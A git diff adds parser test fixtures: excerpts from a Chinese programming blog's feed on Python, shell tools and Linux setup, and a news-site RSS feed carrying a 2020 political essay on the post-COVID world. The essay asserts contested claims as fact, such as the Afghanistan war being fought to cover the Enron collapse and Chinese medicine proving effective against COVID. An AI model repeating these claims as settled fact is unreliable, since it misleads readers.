#0000ff">def</span> fibobacci(n): + <span style="color: #0000ff">return</span> n&gt;=2 <span style="color: #0000ff">and</span> fibonacci(n-2) + fibonacci(n-1) <span style="color: #0000ff">or</span> n +</pre></div> + + +<p><strong>迭代</strong>:利用循环取代递归。时间复杂度O(n)</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span><span style="color: #0000ff">def</span> fibonacci(n): + a, b = 0, 1 + <span style="color: #0000ff">for</span> i <span style="color: #0000ff">in</span> range(n): + a, b = b, a+b + <span style="color: #0000ff">return</span> a …</pre></div>youngsterxyfTue, 20 Nov 2012 00:00:00 +0800tag:youngsterxyf.github.io,2012-11-20:/2012/11/20/work-exam/笔试Python装饰器入门(译)http://youngsterxyf.github.io/2012/07/30/a-primer-on-python-decorators/<p>原文: <a href="http://www.thumbtack.com/engineering/a-primer-on-python-decorators/">A primer on Python decorators</a></p> +<p>翻译: <a href="http://xiayf.blogspot.com/">youngsterxyf</a></p> +<p>Python允许你,作为程序员,使用函数完成一些很酷的事情。在Python中,函数是<a href="http://en.wikipedia.org/wiki/First-class_function">一等对象(first-class object)</a>,这就意味着你可以像使用字符串,整数,或者任何其他对象一样使用函数。例如,你可以将函数赋值给变量:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>&gt;&gt;&gt; def square(n): +... return n * n; +&gt;&gt;&gt; square(4) +16 +&gt;&gt;&gt; alias = square +&gt;&gt;&gt; alias(4) +16 +</pre></div> + + +<p>然而,一等函数的真正威力在于你可以把函数传给其他函数,或者从其他函数中返回函数。Python的内置函数map利用了这种能力:给map传个函数以及一个列表,它会依次以列表中每个元素为参数调用你传给它的那个函数,从而生成一个新的列表。如下所示的例子中应用了上面的那个square函数:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>&gt;&gt;&gt; number = [1, 2, 3, 4, 5] +&gt;&gt;&gt; map …</pre></div>youngsterxyfMon, 30 Jul 2012 00:00:00 +0800tag:youngsterxyf.github.io,2012-07-30:/2012/07/30/a-primer-on-python-decorators/Python翻译Python FAQ:Web开发(译)http://youngsterxyf.github.io/2012/07/30/python-faq-webdev/<p>原文: <a href="http://me.veekun.com/blog/2012/05/05/python-faq-webdev/">Python FAQ: Webdev</a></p> +<p>译者: <a href="http://github.com/youngsterxyf/">youngsterxyf</a></p> +<p><a href="http://me.veekun.com/blog/2011/07/22/python-faq/">Python FAQ</a>的一部分</p> +<p><strong>我只会PHP,那该怎么用Python来编写一个Web应用呢?</strong></p> +<p>这是一个相当复杂的问题,甚至很容易就能写一本书来探讨Web开发与Python,以及如何关联两者,所以我很想先把这个问题放一放。但是鉴于我刚<a href="http://me.veekun.com/blog/2012/04/09/php-a-fractal-of-bad-design/">相当粗暴地捣毁了PHP</a>,明智些,还是回答这个问题吧,宜早不宜迟。</p> +<p>最直接简单的回答是:不要再读了,马上使用<a href="http://flask.pocoo.org/">Flask</a>着手构建一样东西。然而,我觉得还有更好回答。</p> +<p>本文并非是教程。也许将来我会写一篇,但现在已经存在大量的教程了,我认为你可以阅读那些文档。相反,本文是为新手而写的Python Web开发相关事情的概览。</p> +<h2>起步</h2> +<p>显然,你需要安装Python。确保使用Python 2,而不是3。Python 3有一些向后不兼容的改变,并非所有的库都更新过。</p> +<p>安装Python库,可以考虑使用 <code>pip</code> 。(如果你在使用类Unix操作系统,那么也许可以通过系统包管理器安装pip,否则使用 <code>easy_install …</code></p>youngsterxyfMon, 30 Jul 2012 00:00:00 +0800tag:youngsterxyf.github.io,2012-07-30:/2012/07/30/python-faq-webdev/Python翻译关于技术的学习方法http://youngsterxyf.github.io/2012/05/11/about-method-of-learning-technology/<p>关于学习,时间短与效果好始终是一对矛盾的统一体。</p> +<p>很多时候,要想在最短的时间内完成一件事情,最好的方法就是依葫芦画瓢,但这样的话,即使完成了事情,也只是知其然而不知其所以然,长久来看,对于学习者的能力不会有多大的提高。</p> +<p>从长远来看,要想自己基础扎实,能力强,那就得一步一步的来,从基础知识开始,一点一点的搞懂,但这种方式需要花费很多时间,短时间内效果不明显。而且,可能效果没有预期的那么好。</p> +<p>那么,如果做个权衡呢?</p> +<p>我想,也许最好的学习方式是:先依葫芦画瓢地实践,获得一些直观感受,最好还有一些疑问。在实践完成之后,在整理自己的疑问,以及实践中涉及的知识要点,通过查阅图书或者网络资料,逐个知识点巩固,逐个解决疑问,并整理成文。这个整理总结的过程可能需要较长的时间。</p> +<p>这种方式的优势在于:1.能让你快速地完成事情;2.实践中用到的知识多半会在以后的实践中经常用到,掌握的就是一些最重要的东西,而不会学习一些很少使用的深奥偏门知识。</p>youngsterxyfFri, 11 May 2012 00:00:00 +0800tag:youngsterxyf.github.io,2012-05-11:/2012/05/11/about-method-of-learning-technology/技术学习方法ubuntu12.04+ngnix+php-fastcgi+mysql+memcached网站开发测试环境搭建http://youngsterxyf.github.io/2012/05/10/ubuntu12.04-nginx-php-factcgi-mysql-memcached/<p>1. +安装必要的软件</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>sudo apt-get install nginx php5-cli php5-cgi spawn-fcgi psmisc mysql-server <span style="color: #a31515">\</span> +mysql-client php5-mysql memcached php5-memcache php5-curl php5-gd +</pre></div> + + +<p>2. +打开浏览器访问: 127.0.0.1。就能看到表示nginx安装成功的页面。但这时访问php文件页面还不行。 +(注:ngnix的配置文件目录为/etc/ngnix/,默认网站根目录为/usr/share/ngnix/www/;php配置文件目录为/etc/php5/)</p> +<p>3. +编辑文件/etc/ngnix/sites-available/default,内容如下(可以先把原文件备份一下):</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>server { + #listen 80; ## listen for …</pre></div>youngsterxyfThu, 10 May 2012 00:00:00 +0800tag:youngsterxyf.github.io,2012-05-10:/2012/05/10/ubuntu12.04-nginx-php-factcgi-mysql-memcached/LinuxNginxPHPPython对象创建过程(译)http://youngsterxyf.github.io/2012/04/26/python-object-creation-sequence/<p>原文: <a href="http://eli.thegreenplace.net/2012/04/16/python-object-creation-sequence/">Python object creation sequence</a></p> +<p>译者: <a href="http://xiayf.blogspot.com/">youngsterxyf</a></p> +<p>[本文讨论的Python版本为3.x]</p> +<p>本文旨在探究Python中新对象的创建过程。正如我在<a href="http://eli.thegreenplace.net/2012/03/23/python-internals-how-callables-work">前一篇文章</a>中所解释的,对象的创建只是调用可调用对象的一种特例。考虑这样的一段Python代码:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span><span style="color: #0000ff">class</span> <span style="color: #2b91af">Joe</span>: + <span style="color: #0000ff">pass</span> + +j = Joe() +</pre></div> + + +<p>当j = Joe()被执行时发生了什么呢?Python把它看作对可调用的Joe的一次调用,并且将它路由到内部函数 <code>PyObject_Call</code> ,将Joe作为PyObject_Call的第一个参数。 <code>PyObject_Call</code> 根据其第一个参数的类型抽取这个参数类型的 <code>tp_call</code> 属性。</p> +<p>那么,Joe的类型是什么呢?无论何时我们定义一个新的Python类(class),它的类型都是 <code>type</code> ,除非我们明确地为它指定一个 <a href="http://eli.thegreenplace.net/2011/08/14/python-metaclasses-by-example/">metaclass</a>。因此,当 <code>PyObject_Call</code> 试图查看Joe的类型,将得到类型 <code>type</code> ,然后选择 <code>type</code> 的 <code>tp_call</code> 属性 …</p>youngsterxyfThu, 26 Apr 2012 00:00:00 +0800tag:youngsterxyf.github.io,2012-04-26:/2012/04/26/python-object-creation-sequence/Python翻译关于指针的一道笔试题http://youngsterxyf.github.io/2012/04/20/an-exercise-about-pointer/<p>同学找实习,遇到这样一道笔试题:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span><span style="color: #2b91af">int</span> *a[2][3]; +<span style="color: #0000ff">sizeof</span>(a) = ? +<span style="color: #0000ff">sizeof</span>(*a) = ? +<span style="color: #0000ff">sizeof</span>(**a) = ? +<span style="color: #0000ff">sizeof</span>(***a) = ? +</pre></div> + + +<p>这题还是有点小意思的。遇到这种题,脑子一定要清楚,注意分析。</p> +<p>对于int *a[2][3]应该这么理解:</p> +<p><strong>a是个数组,有两个元素;元素也是数组,其有3个元素,每个元素是指向int类型的指针。</strong></p> +<p>指针的长度固定为4个字节,C语言的int类型也是4个字节。</p> +<p>这样一分析,这题就简单了。</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>sizeof(a)意思是求a数组的长度,数组的长度=数组元素的个数*元素的长度,所以sizeof(a) = 2 * 3 * 4 = 24个字节 +sizeof(*a)中的*a是指a的第一个元素,所以sizeof(*a …</pre></div>youngsterxyfFri, 20 Apr 2012 00:00:00 +0800tag:youngsterxyf.github.io,2012-04-20:/2012/04/20/an-exercise-about-pointer/笔试C/C++学习的"道"与"术"http://youngsterxyf.github.io/2012/03/31/dao-and-shu-about-learning/<p>读研以来,一直觉得自己的学习方法不够高效。试图将要学习的东西进行分类,然后以不同的方法学习之。那么该如何分类呢?我觉得以"道"与"术"区分之比较合适。</p> +<p>何为"道 "?汉语辞典中有两条解释:<strong>1.指法则、规律;2.学术或宗教的思想体系</strong></p> +<p>何为"术"?:<strong>技艺</strong></p> +<p>字面理解,“术”更为具体,是完成一件事情的具体过程。而“道”者则是指导实践的思想,是能够举一反三的事物规律。</p> +<p>那么是否“道”比“术”更重要呢?我想未必。任何理论,任何“道”都最终来源于“术”的实践过程,也最终需要在“术”上得到实施,才能体现其价值。“道”与“术”两者相辅相成。那么在我们学习一门学问的过程中 …</p>youngsterxyfSat, 31 Mar 2012 00:00:00 +0800tag:youngsterxyf.github.io,2012-03-31:/2012/03/31/dao-and-shu-about-learning/学习方法Python学习路线(针对具备一定编程经验者)http://youngsterxyf.github.io/2012/02/21/the-path-of-learning-python/<p>相比C,C++,JAVA等编程语言,Python是易学的。但要想深入地理解Python,并熟练地编写Python风格的Python代码。我想还是有一长段路程要走的。下面即是我的一点经验总结,主要是为了整理自己学习的思路。</p> +<ol> +<li>花1-2天的时间阅读一本好的Python入门书籍,并在亲手实践书中的代码。推荐入门书籍:《A byte of Python》(中文翻译《简明Python教程》)或《Practical Programming:An Introduction to Computer Science Using Python》(中文翻译《Python实践教程》)或者其他的比较薄的入门书籍。</li> +<li>抛开书籍,用Python去写一切你想写的程序。这时最好的参考文档即为:(1).Python命令解释器中的help(),dir()辅助方法;(2).Python官网文档:<a href="http://docs.python.org/">http://docs.python.org/</a> 。遇到不清楚的地方就用这两个方法查,再不行就去google一下。</li> +<li>两三个月之后,积累一点的代码量,再重新找本讲解比较详细的书,重新梳理一下自己对Python的理解 …</li></ol>youngsterxyfTue, 21 Feb 2012 00:00:00 +0800tag:youngsterxyf.github.io,2012-02-21:/2012/02/21/the-path-of-learning-python/PythonLinux命令习题http://youngsterxyf.github.io/2012/02/15/Linux-Command-Excercise/<p>For each of the outputs listed below, find one sequence of commands connected by pipes that produces the output. For each problem, turn in the command sequence that you used to generate the requested output. (Do NOT turn in the output itself.)</p> +<p>1. +A listing of all processes that you …</p>youngsterxyfWed, 15 Feb 2012 00:00:00 +0800tag:youngsterxyf.github.io,2012-02-15:/2012/02/15/Linux-Command-Excercise/Linux2011年终-回顾与展望http://youngsterxyf.github.io/2012/01/01/2011-summary/<p>昨晚实验室聚餐,和师兄们喝醉了,明年的这个时候,我也就和他们一样将要毕业。时间,总是往前看觉得很漫长,可回过头去看看,一年也就是瞬间的事情。</p> +<p>2011,我从研一走向研二,2012,我将从研二走向研三,继而毕业,工作。</p> +<p>回顾过去一年,于我自己而言,过得很平淡,也许是大学以来最平淡的一年,只能说也许,因为对于2011,我记不得太多的事情。</p> +<p>这一年里,我,一个技术男,比以前更宅,话也相对少了很多,直接表现为QQ空间或者校内上的文字写得很少。很少和别人谈论自己,因为我觉得纠结于那个“小我”是件很“小青年”的事情。人与人之间不可避免的隔膜导致了个人的事情不管多大在别人眼里都是微不足道的,在别人的心里掀不起半点波澜,说过了也就忘了。所以那些关于自己的,还是放在心里比较好,毋须说些没意义的。</p> +<p>这一年里,我想得挺多,但真正做了或者说做好的却很少。这是件严重的事情。特别在技术上,东看西看,东学西学,眼界确实开阔很多,也养成了较为良好的技术趣味。但从技术能力上来说,真不好说 …</p>youngsterxyfSun, 01 Jan 2012 00:00:00 +0800tag:youngsterxyf.github.io,2012-01-01:/2012/01/01/2011-summary/总结《Classic Shell Scripting》:ls, locate, type, find, df, du, diff, patchhttp://youngsterxyf.github.io/2011/12/23/classic-shell-scripting-ls-locate-and-so-on/<h4>一.ls</h4> +<p>语法</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>ls [ options ] [ file(s) ] +</pre></div> + + +<p>用途</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>列出文件目录的内容 +</pre></div> + + +<p>主要选项</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>-1 : 数字1.强制为单栏输出。在交互式模式下,ls一般会以适于当前窗口的最小宽度,使用多个列 +-a : 显示所有文件,包括隐藏文件(文件名以点号起始的文件) +-d : 显示与目录本身相关的信息,而非它们包含的文件的信息。 +-F : 使用特殊结尾字符,标记特定的文件类型 +-g : 仅适用于组:省略所有者名称(隐含-l,小写L选项) +-i : 列出inode编号 +-L : 紧接着符号性连接,列出它们指向的文件 +-l : 小写的L。以冗长形式列出,带有类型,权限保护,所有者,组,字节计数,最后修改时间和文件名 +-r : 倒置默认的排序顺序 +-R : 递归列出,下延进入每个子目录 …</pre></div>youngsterxyfFri, 23 Dec 2011 00:00:00 +0800tag:youngsterxyf.github.io,2011-12-23:/2011/12/23/classic-shell-scripting-ls-locate-and-so-on/LinuxShellArchLinux上安装Consolas字体http://youngsterxyf.github.io/2011/12/23/install-Consolas-font-on-ArchLinux/<ol> +<li> +<p>从<a href="http://www.iplaysoft.com/consolas.html">http://www.iplaysoft.com/consolas.html</a>下载Consolas字体。</p> +</li> +<li> +<p>然后</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>sudo mkdir -p /usr/share/fonts/yahei +sudo cp YaHei.Consolas.1.11b.ttf /usr/share/fonts/yahei/ +</pre></div> + + +</li> +<li> +<p>改变权限:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>sudo chmod 644 /usr/share/fonts/yahei/YaHei.Consolas.1.11b.ttf +</pre></div> + + +</li> +<li> +<p>安装:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>cd /usr/share/fonts/yahei/ +sudo mkfontscale +sudo mkfontdir …</pre></div></li></ol>youngsterxyfFri, 23 Dec 2011 00:00:00 +0800tag:youngsterxyf.github.io,2011-12-23:/2011/12/23/install-Consolas-font-on-ArchLinux/Linux字体《Classic Shell Scripting》:文件描述符处理http://youngsterxyf.github.io/2011/12/22/classic-shell-scripting-file-descriptors/<p>在系统内部,UNIX是以一个小的整数数字,称为文件描述符(file descriptors),表示每个进程打开的文件。数字由零开始,至多到系统定义的打开文件数目的限制。传统上,Shell允许你直接处理至多10个打开文件:文件描述符从0至9(POSIX标准将是否可以处理大于9的文件描述符,保留给各实现自行定义,bash可以,但ksh则否)</p> +<p>文件描述符0,1与2,各自对应到标准输入,标准输出以及标准错误输出。最常见的操作便是变更这三个文件描述符其中一个的位置,不过也可能处理其他的变动。首先来看的是:将程序的标准输出传送到一个文件,并将起标准错误信息传到另一个文件:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>make 1&gt; results 2&gt; ERRS +</pre></div> + + +<p>上面的命令是将make的标准输出(文件描述符为1)传给results,并将标准错误输出(文件描述符为2)传给ERRS。</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>make 1&gt; results 2&gt; /dev/null +</pre></div> + + +<p><code>1&gt; results</code>里的1其实没有必要,供输出重定向的默认文件描述符是标准输出:也就是文件描述符1。下个例子会将输出与错误信息送给相同的文件:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>make &gt; results 2 …</pre></div>youngsterxyfThu, 22 Dec 2011 00:00:00 +0800tag:youngsterxyf.github.io,2011-12-22:/2011/12/22/classic-shell-scripting-file-descriptors/LinuxShell《Classic Shell Scripting》:sed and cuthttp://youngsterxyf.github.io/2011/12/22/classic-shell-scripting-sed-and-cut/<h4>一. sed</h4> +<p>一般来说,执行文本替换的正确程序应该是sed --- 流编辑器(Stream Editor)。sed的设计就是用来以批处理的方式而不是交互的方式来编辑文件。当你知道要做好几个变更 --- 不管是对一个还是数个文件时,比较简单的方式是将这些变更部分写到一个编辑中的脚本里,再将此脚本应用到所有需要修改的文件。 +你可能会常在管道中间使用sed,以执行替换操作。做法是使用s命令 --- 要求正则表达式寻找,用替代文本替换匹配的文本:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>sed <span style="color: #a31515">&#39;s/:.*//&#39;</span> /etc/passwd <span style="color: #008000">#删除第一个冒号之后的所有东西</span> +sort -u <span style="color: #008000">#排序列表并删除重复部分</span> +</pre></div> + + +<p>在这里,/字符扮演定界符(delimiter)的角色,从而分隔正则表达式与替代文本。在本例中,替代文本是空的,实际上会有效地删除匹配的文本。虽然/是最常用的定界符,但任何可显示的字符都能作为定界符。在处理文件名称,通常都会以标点符号字符作为定界符(例如分号,冒号或逗点):</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>find /home/tolstoy -type d -print <span style="color: #008000">#寻找所有目录</span> +sed <span style="color: #a31515">&#39;s;/home …</span></pre></div>youngsterxyfThu, 22 Dec 2011 00:00:00 +0800tag:youngsterxyf.github.io,2011-12-22:/2011/12/22/classic-shell-scripting-sed-and-cut/LinuxShell《Classic Shell Scripting》:sort, uniq, wc, head, tailhttp://youngsterxyf.github.io/2011/12/22/classic-shell-scripting-sort-uniq-wc-head-tail/<h4>一.sort</h4> +<p>就像awk,cut与join一样,sort将输入看作具有多条记录的数据流,而记录是由可变宽度的字段组成,记录是以换行符作为定界符,字段的定界符则是空白字符或是用户指定的单个字符。</p> +<p>语法</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>sort [ options ] [ file(s)] +</pre></div> + + +<p>用途</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>将输入行按照键值字段与数据类型选项以及locale排序 +</pre></div> + + +<p>主要选项</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>-b : 忽略开头的空白 +-c : 检查输入是否已正确地排序。如输入未经排序,但退出码(exit code)为非零值,则不会有任何输出 +-d : 字典顺序,仅文字数字与空白才有意义 +-g : 一般数值,以浮点数字类型比较字段 +-f : 将混用的字母都看作相同大小写,也就是以不管字母大小写的方式排序。 +-i : 忽略无法打印的字符 +-k : 定义排序键值字段 +-m : 将已排序的输入文件,合并为一个排序后的输出数据流 +-n : 以整数类型比较字段 +-o outfile : 将输出写到指定的文件,而非标准输出。如果该文件为输入文件之一,则sort在进行排序与写到输出文件之前 …</pre></div>youngsterxyfThu, 22 Dec 2011 00:00:00 +0800tag:youngsterxyf.github.io,2011-12-22:/2011/12/22/classic-shell-scripting-sort-uniq-wc-head-tail/LinuxShell《Classic Shell Scripting》第一、二章阅读笔记http://youngsterxyf.github.io/2011/12/09/classic-shell-scripting-1-2/<h4>第一章:背景知识</h4> +<p>软件工具的原则</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>一次做好一件事 + +处理文本行,不要处理二进制数据 + +使用正则表达式:正则表达式(regular expression)是很强的文本处理机制。了解它的运作模式并加以使用,可适度简化编写命令脚本的工作。 + +默认使用标准输入/输出:在未明确指定文件名的情况下,程序默认会从它的标准输入读取数据,将数据写到它的标准输出,至于错误信息则会传送到标准错误输出。以这样的方式来编写程序,可以轻松地让它们称为数据过滤器(filter)。 + +避免喋喋不休 + +输出格式必须与可接受的输入格式一致:专业的工具程序认为遵循某种格式的输入数据,例如标题行之后接着数据行,或在行上使用某种字段分隔符等,所产生的输出也应遵循与输入一致的规则。这么做的好处是,容易将一个程序的执行结果交给另一个程序处理。 + +让工具去做困难的部分:虽然UNIX程序并非完全符合你的需求,但是现有的工具或许已经可以为你完成90%的工作。接下来,若有需要,你可以编写一个功能特定的小型程序来完成剩下的工作。 + +构建特定工具前,先想想:你所要做的事情,是否有其他人也需要做?这个特殊的工作是否有可能是某个一般问题的一个特例?如果是的话,请针对一般问题来编写程序。 +</pre></div> + + +<h4>第二章:入门</h4> +<ul> +<li>Shell脚本最常用于系统管理工作,或是用于结合现有的程序以完成小型的,特定的工作。一旦你找出完成工作的方法 …</li></ul>youngsterxyfFri, 09 Dec 2011 00:00:00 +0800tag:youngsterxyf.github.io,2011-12-09:/2011/12/09/classic-shell-scripting-1-2/LinuxShellLinux添加定时任务http://youngsterxyf.github.io/2011/12/07/cron-usage/<p>在Linux下如果希望某个任务定时地执行,一般是使用cron服务器,将任务添加到cron任务列表中。</p> +<h4>启动,关闭,重启cron(需超级用户权限)</h4> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>/etc/init.d/cron start +/etc/init.d/cron stop +/etc/init.d/cron restart +</pre></div> + + +<p>注:archlinux下为/etc/rc.d/crond start|stop|restart</p> +<h4>查看用户设置的定时任务列表</h4> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>crontab [-u xxx] -l # xxx为用户名 +</pre></div> + + +<h4>编辑用户的定时任务列表(超级用户权限)</h4> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>crontab -u xxx -e +</pre></div> + + +<h4>删除用户的定时任务列表(超级用户权限)</h4> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>crontab -u xxx -r +</pre></div> + + +<h4>定时任务的编辑规则 …</h4>youngsterxyfWed, 07 Dec 2011 00:00:00 +0800tag:youngsterxyf.github.io,2011-12-07:/2011/12/07/cron-usage/LinuxLinux添加sudo用户权限http://youngsterxyf.github.io/2011/12/07/linux-add-sudo-user/<p>Linux中很多命令需要使用超级用户权限,在这些命令前添加sudo然后直接执行是很方便的。</p> +<p>那么就先要将自己的用户名添加到sudoers中:</p> +<ul> +<li>使用su命令切换到超级用户(在提示后输入root的密码)</li> +<li>使用visudo命令(编辑/etc/sudoers文件),也可以直接使用编辑器编辑</li> +<li>找到root ALL=(ALL) ALL 这一行,在其下面一行添加xxx ALL=(ALL) ALL,其中xxx为你的用户名</li> +<li>保存即可起效</li> +</ul>youngsterxyfWed, 07 Dec 2011 00:00:00 +0800tag:youngsterxyf.github.io,2011-12-07:/2011/12/07/linux-add-sudo-user/Linux \ No newline at end of file diff --git a/tests/feedlib/testdata/parser/warn/http-www-caogen-com-adminsite-rss-xml.xml b/tests/feedlib/testdata/parser/warn/http-www-caogen-com-adminsite-rss-xml.xml new file mode 100644 index 0000000..3d66ae6 --- /dev/null +++ b/tests/feedlib/testdata/parser/warn/http-www-caogen-com-adminsite-rss-xml.xml @@ -0,0 +1,210 @@ + + + +草根网 +http://www.caogen.com +草根网-来自中国民间的思想 +zh-cn + + + + +疫情之后形势预判 +http://www.caogen.com/blog/Infor_detail.aspx?ID=137&articleId=110272 +道德 +www.caogen.com +Fri, 03 Apr 2020 04:02:23 GMT +新冠疫情世界性蔓延,其对世界政治经济影响是巨大的。在此对新冠之后一些发展趋势发飙一些个人见解。一、新冠疫情必将影响欧盟政治发展欧盟在此次应对疫情中各自为政,其应对传染性强烈的流行病防控明显还无效率。在流行病传染路径阻断上,没有统一的组织措施;在医疗资源的配置上也是各自为政,明显的无法有效的利用现有医疗资源;在防治传染病知识上的宣传也无法统一进行(这是导致欧洲各国疫情泛滥的主因)。因此欧盟各国会在疫情之后反思各国的疫情防控经验,在与中国经验对比之后,欧盟各国会在政治自主上有所让步,应该会赋予欧洲议会更大的政治权利。最起码会赋予欧洲议会在防控疫情和应对紧急情况的政治指挥权。这样欧盟在经济统一上就会在政治上有所统一,离通过国家越来越近。政治上的相对统一会使得欧盟争取自己的政治和军事权力。这样就会使得欧盟与美国的关系紧张。预判欧盟与美国在军事和政治上会产生更大的裂痕。这是自主与控制的竞争裂痕。二、疫情对美元信誉的打击新冠疫情对美元信誉的打击是不经意间产生的。2008年金融危机之后。美联储为了救市恣意动用美元信誉,量化宽松,降低利息,改变金融规则(如随意贴现企业债券等),导致美元泛滥,由此出现美元贬值。为了维持美元信誉,美联储一改通过美元贬值掠夺世界的做法,在外汇市场上操控美元升值。在此期间,黄金价格一路高升,与美元升值并不匹配,此一状况已让世人对美元信誉产生疑问。为了强化世人对美元信心,美国宣传三D打印、页岩油开采、VR等来提振人们对美元信心。以前经济学上有标志,一国经济的好坏看股市,为了显示美国经济好,美联储给予美国很多企业发行企业债便利,为之背书,随意贴现、贷款。在由美国企业收购炒卖自己的股票,抬升股市。道琼斯高点两万九千多点,已超过2008年金融危机时一万点的百分之六十多。这次疫情后美股多次熔断,是基于世人不相信美国政府了。在疫情说明上美国政府欺瞒民众的情况,在现在已被大家获知。对美国政府的不相信由疫情转化到极力吹捧的经济上。人们就此恐慌性的抛售,导致四次熔断的发生。这是美联储所意想不到的。现在美联储无线背书,发放两万亿救市,也只能拯救美股于22000点,昨晚还下降到22000之下。两万亿,加上无限制贴现国债和企业债,都无法救道琼斯指数于水火。可以预判美联储挽救美元信誉的作战的最终结局是失败。美元是美国的生命线,在面临崩溃时,美国会使用自己的所有力量来维持美元信誉和美元系统,其中最有可能采取的方法就是战争。所以我们现在必须有充分的备战准备以防美国狗急跳墙。对于美国利用台湾问题尽情挑衅,我们要尽量的隐忍,因为现在是特殊时期,是美元系统面临崩溃的时期,因此不能按照常理应对。三、疫情过后世界剧变的应对建议过去,西方一直进行所谓的民主价值观宣传,将民主选举制度和政治制度视为理所当然的正确,也被大多数人误认为“真理”。疫情防控是事实说明什么制度才是最有效的应对紧急情况的政治制度。中国的政治制度会被人们思考正视。乘此东风我们国家要组织专业学术力量在各方面论证民主制度的弊病,如职业经理人制度使得职业经理人为私利,设立经理人高额工资薪酬,导致企业竞争力大幅下降,导致企业追逐短期效益忽视长期利益;西方选举制度导致政客们专注于短期讨好选民的执政理念,忽视国家长期发展的规划。还有政客们为了讨好选民可以连任忽视国家信誉,随意撕毁国家签署的国际协议(如特朗普),导致国家影响力大幅下降。现在的疫情防控就是明显的实例,是很有说服力的实例。另外可从经济学上证明,经济增长的长期保证是政府的职能。新加坡、日本、韩国、印度、土耳其、马来西亚、印尼、南非(正反例)等等不胜枚举。价值观上的竞争是核心竞争力的争夺,要充分准备和重视。疫情之后的价值观讨论,会议、批判、宣传要有准备的即时跟进。四、疫情之后中医药将在世界流行起来疫情之中,中医药的防治力度清晰可见。西方各国所仰仗的西医有诸多不能,因此社会上会有很多民众和政客,专家学者会重视中医药。可以预判,疫情之后,中医药将很快在世界上流行起来。这对于我们中国来说试一次很好的传扬文化的契机。乘此时机向世界传输中医理念以及中药医治。这是一种强有力的软实力,我们国家要乘势增强这一软实力。所以,现在要在全国范围进行力量储备,以做到随时可到各国开设诊所医院乃至中医药学校。对于无良庸医的流毒要严正肃清,不能让其流散世界,影响中医药声誉。五、中美双产业链问题这个问题,稍微有经济学常识的人都不会有这样的判断。因为所谓的产业链就是系统社会生产的链条,是基础材料生产和高端科学技术和设备生产。像中国这样的全产业链国家,世界上很少。美国上世纪79年代之后热衷于投机倒把的金融服务,已将大部分基础低端生产链转移至国外。现在特朗普倡导产业回归,应该成效不大。实际上在奥巴马时期,美国人就已经意识到这个问题的存在,一直在努力更改。但是,产业工人和行业的流失不是随意就可恢复的。第一设备,第二工人培训,二十年就是一代,美国已经失去两三代了。再有美国平均薪资高,对于低利润的低端产业的来说是无法恢复的,除非政府每年进行财政补贴。但是现有的美国制度不允许。所以美国无法有完整的产业链。臆想霜产业链的问题是认为美国负责高端技术设备生产中国负责低端产业生产,但现在这样的情况已不再可能。美国的限制出口会促使中国和个生产国尽可能的自己生产所需要的物品,所以美国的高端产业链也是一厢情愿。现代社会知识膨胀,什么生产技术都无法长期垄断和封锁,所以美国的高端生产优势已逐步失去。应该说霜产业链根本不可能存在。六、展望在疫情防控期间,世界多国都获得了中国的帮助,从医疗物资到专业医疗设备和人才,中国都可大量输出,这源于中国强大的社会生产能力。所以疫情之后,中国会获得世界各国的赞许,国际影响力会大大增强。可以预见,疫情之后到中国取经学习的外国政团会大量增加,到中国留学生也会大量增加,访问学者也会大量增加。这是我们增加软实力的好时机。因此国家要有所准备较为规范的总结中国经验,一杯外国友人学习。各国与中国搞好关系就是为自己找到一个物资充足仓库,随时可以供货,随时可以投资进行建设。世界以中国为中心是迟早的事,只是疫情的泛滥使得这一进程加速。七、中东局势疫情泛滥使得人们无暇关注中东局势,但中东局势始终是世界稳定的焦点,因此有必要专门论述。纵观美国,现在连伊朗都不敢正面对抗,所以美国为了通过战争来转移目标维护美元霸权就会挑唆中东国家大战。土耳其、沙特、以色列都是其手筋。中东在疫情后期爆发大战的额能行极高。因为美国不敢与中俄进行两败俱伤的大战,即使是损耗大,赢面高的对伊朗战争都不敢打。可为了转移视线,维护美元霸权,在美元面临崩溃时促使中东大战是有可能。只有在中东大战才会牵动世界各国的神经,因为,中东就是石油生命线。打委内瑞拉则不会有很多关注。转移不了注意力。按照美国通过战争转移危机的惯例判断,中东在疫情后期爆发大战的可能性极高。(2000年安然破产,美国为转移连锁破产危机2001年打了阿富汗战争;2011年又是为转移焦点打了叙利亚战争)。中东战争对于欧洲国家摆脱经济危机也有好处,因此个人认为中东将既有可能爆发大战。看着力点在哪里。重点:要防止美联储的美元漫灌,国家要出台一定的政策防止巨量美元的进入,因为现在国家拿到这些美元没多大用处,只能购买美国国债,不能购买美国资源和企业(根本过不了美国国家安全为委员会的关)。 